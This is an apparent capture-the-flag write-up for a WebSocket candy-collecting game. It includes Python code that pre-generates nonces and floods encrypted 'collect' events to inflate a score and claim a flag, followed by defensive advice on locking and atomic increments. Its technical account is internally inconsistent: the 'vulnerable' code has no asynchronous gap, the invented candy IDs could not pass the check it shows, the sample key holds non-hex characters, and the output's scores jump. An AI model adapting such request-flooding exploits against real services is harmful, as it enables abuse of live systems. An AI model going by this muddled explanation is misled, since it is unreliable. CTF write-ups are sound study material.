Candy Crush - WebSocket Race Condition

Challenge Type: Web Security

Difficulty: Medium

Tags: WebSocket, Race Condition, Cryptography, Socket.IO

Challenge Description

Candy Crush is a WebSocket-based candy collection game that implements encrypted communication and nonce-based replay protection. Players must collect 10 candies within a time limit to unlock the flag. However, the challenge hides a critical race condition vulnerability in the server's score validation logic.

Challenge Overview

The challenge presents multiple layers of complexity: - WebSocket Communication: Real-time bidirectional communication via Socket.IO - AES-256-CBC Encryption: All messages encrypted with session-specific keys - Nonce-based Replay Protection: SHA-256 hash chain prevents message replay - Race Condition Vulnerability: Timing window in async score validation

Game Mechanics

Normal Gameplay

  1. Client connects and receives a handshake with encryption keys (AES key + IV)
  2. Server drops candies at random intervals
  3. Client collects candies by sending encrypted collect events with:
  4. candyId: The ID of the candy to collect
  5. nonce: SHA-256 hash chain value for replay protection
  6. Server validates the candy exists and nonce is correct
  7. Score increments on successful collection
  8. Game ends after time expires
  9. Players with score ≥ 10 can purchase the flag

Technical Flow

Client                          Server
  |                               |
  |---- connect() --------------->|
  |<--- handshake(key, iv) -------|
  |                               |
  |<--- candy_dropped ------------|
  |---- collect(encrypted) ------>|
  |      {candyId, nonce}         |
  |                               |
  |<--- candy_collected ----------|
  |      {score}                  |
  |                               |
  |---- buy_flag ---------------->|
  |<--- flag_response ------------|

The Vulnerability

The core vulnerability lies in the asynchronous score validation logic:

// Simplified vulnerable code pattern
async function handleCollect(encryptedData) {
    const data = decrypt(encryptedData);

    // Step 1: Validate candy exists (async check)
    if (!activeCandies.includes(data.candyId)) {
        return error("Invalid candy");
    }

    // Step 2: Validate nonce (async check)
    if (!isValidNonce(data.nonce)) {
        return error("Invalid nonce");
    }

    // BUG: Time window between validation and increment!
    // Multiple requests can pass validation before score increments

    // Step 3: Increment score
    score += 1;

    // Step 4: Remove candy from active list
    activeCandies.remove(data.candyId);
}

The Race Condition: When multiple collect requests are sent simultaneously with pre-calculated nonces, they all enter the validation phase before any of them completes. This creates a timing window where: 1. All requests pass the candy existence check 2. All requests pass the nonce validation (using pre-generated nonce chain) 3. Score increments multiple times before the first request completes 4. Final score > actual candies collected

Solution Walkthrough

Phase 1: Understanding the Protocol

First, we need to understand the encryption and nonce mechanism:

import socketio
import hashlib
from Crypto.Cipher import AES

# Nonce generation (SHA-256 hash chain)
def generate_nonces(key_hex, count):
    nonces = []
    nonce = None
    for _ in range(count):
        if nonce:
            data = nonce + key_hex
        else:
            data = key_hex
        nonce = hashlib.sha256(data.encode()).hexdigest()
        nonces.append(nonce)
    return nonces

# AES-256-CBC encryption
def encrypt_data(data, key, iv):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded = pad(data.encode(), AES.block_size)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(encrypted.hex().encode()).decode()

Phase 2: Exploiting the Race Condition

The exploit strategy: 1. Connect and receive handshake with encryption keys 2. Immediately pre-generate 15 nonces using the session key 3. Send all 15 collect requests as fast as possible 4. Race condition allows multiple requests to succeed 5. Score reaches ≥ 10 despite no real candies collected 6. Purchase flag with inflated score

@sio.on('handshake')
def on_handshake(data):
    global session_key, session_iv
    session_key = bytes(data['key'])
    session_iv = bytes(data['iv'])

    # Pre-generate nonces for the race
    key_hex = session_key.hex()
    nonces = generate_nonces(key_hex, 15)

    # Fire all requests simultaneously
    for i, nonce in enumerate(nonces):
        collect_data = {
            'candyId': f'fake_{i}',
            'nonce': nonce
        }
        encrypted = encrypt_data(json.dumps(collect_data), session_key, session_iv)
        sio.emit('collect', encrypted)

Phase 3: Claiming the Flag

Once the race condition triggers and score ≥ 10:

@sio.on('game_ended')
def on_game_ended(data=None):
    if score >= 10:
        encrypted = encrypt_data(json.dumps({}), session_key, session_iv)
        sio.emit('buy_flag', encrypted)

@sio.on('flag_response')
def on_flag_response(encrypted_data):
    data = json.loads(decrypt_data(encrypted_data, session_key, session_iv))
    if data.get('success'):
        print(f"FLAG: {data['flag']}")

Technical Details

Tools and Libraries

  • Python 3.x: Main scripting language
  • python-socketio: Socket.IO client for WebSocket communication
  • pycryptodome: AES encryption/decryption
  • hashlib: SHA-256 nonce generation

Exploit Execution

python candy_exploit.py

Expected Output

[+] Connected to server
[*] Sending start...
[+] Got key: 1a2b3c4d5e6f7g8h...
[*] Sending fake candy collections...
[*] Sent 15 fake collects
[+] COLLECTED! Score: 1/10
[+] COLLECTED! Score: 2/10
[+] COLLECTED! Score: 10/10
[*] Game over! Score: 10
[+] Buying flag...
==================================================
FLAG: cyhub{r4c3_c0nd1t10n_1n_w3bs0ck3t_v4l1d4t10n}
==================================================

Key Takeaways

  1. Race Conditions in Async Code: Always use proper locking mechanisms when handling concurrent requests
  2. Atomic Operations: Score increments should be atomic or use database transactions
  3. Nonce-based Protection: While nonce chains prevent replay, they don't prevent race conditions
  4. Defense Strategy:
  5. Use mutex locks or semaphores for critical sections
  6. Implement proper queue-based processing
  7. Add rate limiting per connection
  8. Use atomic increment operations

References